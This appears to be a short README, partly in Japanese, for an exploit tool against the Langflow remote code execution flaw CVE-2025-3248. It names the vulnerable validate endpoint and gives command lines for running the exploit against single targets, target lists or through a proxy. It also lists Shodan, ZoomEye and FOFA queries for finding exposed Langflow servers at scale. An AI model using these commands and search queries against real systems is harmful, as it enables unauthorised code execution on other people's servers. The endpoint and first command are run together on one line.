
CVE-2025-3248 — Langflow RCE Exploit
CVE-2025-3248 の脆弱性がある Langflow アプリケーション向けのリモートコード実行 (RCE) エクスプロイト。
/api/v1/validate/codepython3 langflow_rce.py -u http://target:7860 -c "id"
python3 langflow_rce.py -i target.txt -c "id"
python3 langflow_rce.py -i target.txt -c "id" -p http://127.0.0.1:8080
Shodan:
http.title:"Langflow" "Langflow allows you to build LLM applications"
title:"Langflow"
ZoomEye:
title:"Langflow" && body:"Langflow allows you to build LLM applications"
app:"Langflow"
FOFA:
title="Langflow" && body="Langflow allows you to build LLM applications"
app="Langflow"